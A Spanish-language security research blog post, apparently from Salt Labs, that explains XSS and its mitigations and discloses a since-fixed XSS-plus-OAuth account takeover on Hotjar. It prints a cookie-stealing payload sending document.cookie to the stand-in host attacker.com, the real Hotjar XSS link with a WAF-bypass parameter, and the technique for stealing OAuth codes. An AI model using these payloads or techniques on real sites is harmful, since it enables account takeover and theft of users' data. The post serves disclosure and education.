Introducción
El Cross-site scripting (también conocido como XSS) se ha ganado con justicia su lugar como una de las vulnerabilidades web más populares. Desde su aparición, en los albores de internet, se han encontrado innumerables vulnerabilidades en sitios web de todo el mundo. Por lo tanto, no es de extrañar que el XSS haya sido destacado constantemente como un riesgo principal en el OWASP TOP-10 ¡desde la primera edición de la lista en 2004!
Sin duda, una vulnerabilidad de tan alto perfil debe estar ya abordada y priorizada por todos —proveedores, desarrolladores, profesionales y la comunidad de seguridad— y, de hecho, así es.
A lo largo de los años, se han implementado muchas capas de protección para detectar el XSS y evitar su explotación. Desde la perspectiva de un atacante, estas protecciones suponen un verdadero desafío. Aunque el XSS sigue vivo y coleando, se ha vuelto astronómicamente más difícil de explotar con éxito que antes, lo que explica por qué vemos gradualmente menos casos en la práctica.
Sin embargo, al igual que en muchos otros casos en el ecosistema de la ciberseguridad, a veces los nuevos desarrollos, aparentemente no relacionados, pueden llevar a la reencarnación de vulnerabilidades antiguas y, a veces, olvidadas. En esta entrada de blog, demostramos por qué este es exactamente el caso del XSS cuando se combina inteligentemente con una nueva tecnología emergente: OAuth.
XSS ♥️ OAuth
¿Qué mejor manera de mostrar una nueva técnica de ataque que con ejemplos del mundo real? Esta entrada de blog hará exactamente eso. Aunque Salt Labs ya ha encontrado numerosos casos en los que explotamos con éxito este problema, decidimos llamar su atención sobre dos casos de muy alto perfil en los que el impacto podría haber sido muy grave si estos problemas no se hubieran resuelto. Esta publicación es la primera de una serie de dos partes, donde cada empresa se revelará en una publicación separada.
Como siempre, cada hallazgo que publicamos aquí ha seguido nuestra estricta política de divulgación coordinada para garantizar que estos casos específicos ya se hayan resuelto y que sea imposible seguir explotándolos. Por lo general, buscamos objetivos de investigación con un programa de recompensas por errores (bug-bounty) o similar, ya que demuestra que priorizan la seguridad e invitan a los investigadores a encontrar vulnerabilidades.
Historia del XSS
Para empezar, proporcionaremos algunos antecedentes básicos sobre el XSS y las protecciones desarrolladas para él a lo largo de los años. Si es un área con la que se siente cómodo, no dude en saltar a la sección de Mitigaciones.
Lo básico
El XSS, en pocas palabras, es la capacidad de ejecutar código JavaScript (en adelante, JS) en el navegador de una víctima.
Tomemos como ejemplo un sitio web vulnerable, https://xss.example.com, que devuelve su entrada a la pantalla.
Por ejemplo, la URL:
https://xss.example.com/?input=Hola
Mostrará "Hola" en la pantalla.
Si escribes código HTML/JS en lugar de texto, el navegador creerá que el código fue generado por el backend y lo interpretará como HTML/JS legítimo.
Por ejemplo, la URL:
https://xss.example.com/?input=<script>alert(“xss”)</script>
Mostrará "<script>alert(‘xss’)</script>", lo que provocará que el navegador muestre una ventana emergente con el texto "xss".
La situación se vuelve interesante cuando la víctima tiene credenciales secretas almacenadas en https://xss.example.com, como las cookies.
En un ataque XSS típico, un atacante puede usar la siguiente URL para robar esas cookies:
https://xss.example.com/?input=<script>document.location="http://attacker.com/index.php?cookie=" + document.cookie;</script>
El atacante puede enviar el enlace anterior a otras personas (víctimas) a través de correo electrónico, redes sociales u otros métodos. Cuando una víctima hace clic en este enlace, sus cookies, incluidas las credenciales almacenadas en https://xss.example.com, se enviarán al atacante. Esto supone una toma de control total de la cuenta.
Y, bueno… eso es todo (o al menos, toda la información básica que necesitas).
Las mitigaciones
Como hemos mencionado, a lo largo de los años se han diseñado numerosas protecciones contra XSS. Si eres responsable de la seguridad de un sitio web y quieres protegerlo frente a ataques XSS, existen varias estrategias clave que puedes implementar:
1. Sanitización manual de entradas y codificación de salidas
Esta es la mitigación más antigua y, a la vez, la más común. Los desarrolladores deben sanitizar las entradas de los usuarios y asegurarse de que ningún código HTML/JS proveniente de una entrada sea interpretado como JS/HTML en la salida. Este enfoque deposita una gran responsabilidad en los desarrolladores y, en muchos casos, no es sencillo sanitizar la entrada a la perfección, por lo que es fácil cometer errores.
2. Uso de frameworks web modernos
Si el sitio web está desarrollado en React, Angular u otros frameworks de JavaScript modernos similares, estos ofrecen sólidas protecciones integradas contra XSS al escapar automáticamente cualquier valor incrustado en JSX de forma predeterminada. Este escape automático evita eficazmente que se ejecuten como HTML o JavaScript.
3. HTTP-Only
Además de la sanitización de entradas, existe otro enfoque común que los sitios web deberían adoptar: la función HTTP-Only, que mejora significativamente la seguridad al impedir el acceso a los valores de las cookies mediante scripts del lado del cliente. Este atributo garantiza que las cookies solo se envíen al servidor con solicitudes HTTP, lo que las hace inaccesibles para el JavaScript que se ejecuta en el navegador.
En el ejemplo de xss.example.com, si se hubiera implementado HTTP-only, el siguiente enlace:
https://xss.example.com/?input=<script>document.location="http://attacker.com/index.php?cookie=" + document.cookie;</script>
ejecutaría un código JavaScript en la víctima, pero el método “document.cookie” no devolvería ninguna cookie confidencial, por lo que el ataque no sería explotable.
4. CSP
La Política de Seguridad de Contenido (CSP, por sus siglas en inglés) es otro enfoque común que permite a los administradores de sitios web especificar fuentes seguras para contenido como scripts e imágenes, bloqueando eficazmente los scripts maliciosos inyectados desde fuentes no autorizadas.
Aunque las medidas de mitigación que mencionamos anteriormente son indispensables y recomendamos a todos los desarrolladores que las implementen, no son infalibles y todavía existen formas en las que los atacantes pueden eludirlas.
XSS ♥️ OAuth ♥️ Hotjar
Comenzaremos con el ejemplo de Hotjar. Una empresa reconocida que presta servicio a más de un millón de sitios web, incluyendo marcas globales de renombre como Adobe, Microsoft, Panasonic, Columbia, RyanAir, Decathlon, T-Mobile, Nintendo y muchas más. Hotjar es una solución líder para equipos de producto que desean ir más allá de la analítica web y de producto tradicional para empatizar con sus usuarios y comprenderlos; conectando los puntos entre lo que sucede y por qué sucede, para así mejorar la experiencia de usuario (UX) y deleitar a sus clientes.
Debido a la naturaleza de la solución de Hotjar, que incluye la grabación de la actividad de la pantalla y el teclado del usuario, los datos que recopila pueden incluir un gran volumen de información personal y sensible, como nombres, correos electrónicos, direcciones, mensajes privados, datos bancarios e incluso credenciales bajo ciertas circunstancias. Independientemente de si ha oído hablar de Hotjar o no, es probable que haya interactuado con uno del millón de sitios web que utilizan su tecnología, lo que significa que es posible que haya recopilado sus datos de alguna manera.
Por lo general, antes de comenzar la investigación, ejecutamos nuestras comprobaciones automatizadas internas para identificar los puntos "débiles" del sitio web y así hacernos una idea de lo que podría ser interesante desde la perspectiva de un atacante. A partir de hoy, hemos decidido hacer pública una de nuestras herramientas, así que si usted es propietario de un sitio web, puede acceder a nuestra herramienta aquí.
Hotjar es un gran ejemplo de un sitio web moderno que sigue todas las mejores prácticas en cuanto a XSS. Por lo tanto, buscar XSS tradicional en el backend no es sencillo, y nuestro enfoque aquí será diferente.
Descargamos todos los archivos fuente JS de https://insights.hotjar.com (el panel principal). Esto se puede hacer de forma trivial con herramientas como esta.
El método más común para analizar código JS en busca de vulnerabilidades es buscar "funciones sumidero" (Sink functions), que son métodos de JS que ejecutan argumentos como código HTML/JS. Por ejemplo, métodos como "document.InnerHTML", "document.write" y "document.location".
Encuentre más información sobre XSS basado en DOM.
En el caso de Hotjar, probamos la estrategia inversa de buscar "fuentes" (Sources): lugares en el código JS que toman información del usuario, especialmente parámetros de consulta. Por ejemplo, eche un vistazo al siguiente código:

Asumiendo que la URL tiene la forma de https://example.com?name=value, este código JS lee "value" de la URL.
Existen varias formas de buscar patrones en un código, pero comenzamos con un comando de búsqueda básico por simplicidad. El siguiente comando de búsqueda busca URLSearchParams(window.location.search) en todos los archivos JS de Hotjar e imprime 50 líneas de código por cada coincidencia:

find . -name "*.js" -exec grep -H -A 50 "URLSearchParams(window.location.search)" {} +
Encontramos 24 coincidencias, lo que suma un total de 24*50 = 1200 líneas por leer.
Tras leer y revisar varias coincidencias, la siguiente nos llamó la atención:

Además de URLSearchParams(window.location.search),se puede observar la función window.location.replace(e)más abajo. En este punto, es difícil conocer el flujo exacto hacia esta línea y de dónde proviene el parámetro.
Aunque es posible leer el código detenidamente, ejecutarlo será mucho más efectivo. Por lo tanto, utilizamos las herramientas de depuración de Chrome en el sitio web de Hotjar, buscamos esa línea específica y establecimos un punto de interrupción allí.
Después de leer el código y ejecutarlo con Chrome, esto es lo que hace:
Si:
- el parámetro “next” está presente y no comienza con “/”,
- “fromLMS” está presente dentro del parámetro de consulta “next”
- returnURL también está presente en el parámetro de consulta “next”
- entonces: el código javascript redirige al usuario a la returnURL usando window.location.replace.
Al usar window.location.replace, también puedes ejecutar javascript mediante la “URL” javascript:[código], lo que hace posible activar el XSS usando el siguiente enlace:
https://insights.hotjar.com/?next=?fromLMS=1%26returnURL=javascript:alert('Hello XSS')&extraVar=jsvar32312
Tenga en cuenta que la función “extraVar” se utiliza simplemente para eludir la protección WAF y no está directamente relacionada con el problema en cuestión.
Cómo eludir HTTP-Only
La técnica de explotación habitual consistiría en que los atacantes aprovecharan el XSS para leer las cookies del navegador. Sin embargo, en este caso, las cookies (al menos las importantes) se configuraron con la marca HTTP-only. Por lo tanto, resulta que no podemos leer esas cookies con código JavaScript y todos los exploits XSS clásicos no funcionarán aquí.
OAuth al rescate
Una de las funciones de Hotjar —y de casi cualquier otro sitio web moderno hoy en día— es el inicio de sesión social, que se basa en OAuth (el estándar abierto para la autorización).
Cuando te conectas a Hotjar usando Google, Hotjar te envía a Google, Google genera un token secreto para ti y tú le pasas ese secreto a Hotjar para completar la autenticación.
Por ejemplo, si haces clic en “Iniciar sesión con Google”, Hotjar te redirigirá a Google:
https://accounts.google.com/o/oauth2/v2/auth?response_type=code&client_id=145303889798-f167kpmuqrlh4rd597teoj633et6ku9i.apps.googleusercontent.com&redirect_uri=https://insights.hotjar.com/api/sso/google-auth&scope=openid+email+profile&state=[state]
y Google automáticamente (asumiendo que el usuario ya aprobó a Hotjar en Google anteriormente) te redirigirá de vuelta a Hotjar usando la siguiente URL que contiene un código secreto:
https://insights.hotjar.com/api/sso/google-auth?state=[state]&code=[secret_code]
En otras palabras, el código secreto, al final del flujo de OAuth, se encontrará en la URL, y eso es algo que el código JavaScript puede leer.
*Puedes encontrar nuestra explicación paso a paso si quieres leer más sobre cómo funciona OAuth.
Para combinar XSS con esta nueva función de inicio de sesión social (OAuth) y lograr una explotación efectiva, utilizamos un código JavaScript que inicia un nuevo flujo de inicio de sesión OAuth en una ventana nueva y luego lee el token de dicha ventana:

Con este método, el código JavaScript abre una nueva pestaña hacia Google, y Google redirige automáticamente al usuario de vuelta a https://insights.hotjar.com con el código OAuth en la URL:
https://insights.hotjar.com/api/sso/google-auth#state=...&code=[secret_code]

El código JS lee la URL de la nueva pestaña (esto es posible porque si tienes un XSS en un dominio en una ventana, esta ventana puede acceder a otras ventanas del mismo origen) y extrae las credenciales OAuth de ella.
Ten en cuenta que cambiamos el enlace OAuth original a Google; usamos el tipo de respuesta “code,token” en lugar de solo “code”, lo que hace que Google envíe el código en el fragmento hash (#code=...). Esto nos permite leer el código de la URL y asegurar que Hotjar no consuma el código, el cual solo puede ser utilizado una vez.
Una vez que el atacante tiene el código de la víctima, puede iniciar un nuevo flujo de inicio de sesión en Hotjar pero reemplazando su código con el de la víctima, lo que conduce a una toma de control total de la cuenta.
En resumen, así es como se ve el enlace malicioso (el código JavaScript se insertó como un valor en base64):https://insights.hotjar.com/?next=?fromLMS=1%26returnURL=javascript:eval(atob('CmI9d2luZG93Lm9wZW4oIm…'))&extraVar=jsvar32312
Cuando una víctima (el propietario de la cuenta de Hotjar) hace clic en este enlace (que tiene un aspecto legítimo dominio), sus credenciales serán enviadas a un atacante. Existen varios vectores de ataque potenciales que podrían utilizarse para hacer llegar un enlace malicioso al propietario de la cuenta de Hotjar o al administrador del sitio web. Por ejemplo, Hotjar cuenta con una función de comentarios donde los usuarios escriben opiniones que el propietario del sitio web leerá.
Como mencionamos anteriormente, el problema fue resuelto por completo y Hotjar realizó un excelente trabajo mitigándolo.
Impacto
Como se mencionó anteriormente, Hotjar almacena grabaciones de los usuarios, incluyendo la actividad del teclado y del ratón.
Estos datos incluyen nombres, correos electrónicos, direcciones, mensajes privados, datos bancarios, credenciales (en escenarios específicos) y más.
En la configuración predeterminada, Hotjar censura los datos:

Como puede ver, en un escenario de toma de control de cuenta, el atacante puede cambiar la configuración y hacer que la mayoría de los datos confidenciales queden expuestos. Aunque en este caso no parece incluir todo tipo de información (como los datos de tarjetas de crédito, por ejemplo), sí incluye una gran cantidad de información sensible y valiosa. Tenga en cuenta que estos usuarios incluyen a los administradores del sitio web, lo que significa que el atacante puede obtener datos adicionales sobre el sitio web en sí (como la ubicación del panel de control) e incluso aprovecharlo para tomar el control del sitio, dependiendo de qué datos se hayan recopilado.
¿Qué sigue?
En la siguiente parte, exploraremos otra empresa conocida donde hemos descubierto un nuevo método (un poco diferente al actual) para combinar XSS y OAuth. Manténgase al tanto.
Para obtener más información sobre cómo Salt puede ayudar a proteger a su organización de estos u otros riesgos de API, puede contactar a un representante o programar una demostración personalizada. Si no está seguro de su relevancia para sus activos, puede utilizar el escaneo de Salt Labs para comprobar de forma gratuita si su dominio presenta riesgos y vulnerabilidades.
Cronología de la divulgación
Seguimos la siguiente cronología en este proceso de divulgación coordinada. Una vez más, agradecemos a Hotjar por tomar medidas para resolver estas vulnerabilidades críticas.
- Salt Labs descubre la vulnerabilidad en Hotjar: 17 de abril de 2024
- El equipo de seguridad de Hotjar implementa medidas de mitigación y Salt Labs confirma que los exploits ya no funcionan: 19 de abril de 2024
- Salt Labs envía al equipo de seguridad de Hotjar este blog técnico detallando la vulnerabilidad: 19 de julio
- El equipo de marketing de Salt comparte el borrador del blog y la nota de prensa con el equipo de marketing de Hotjar: 19 de julio
- Salt publica el blog y la nota de prensa: 29 de julio
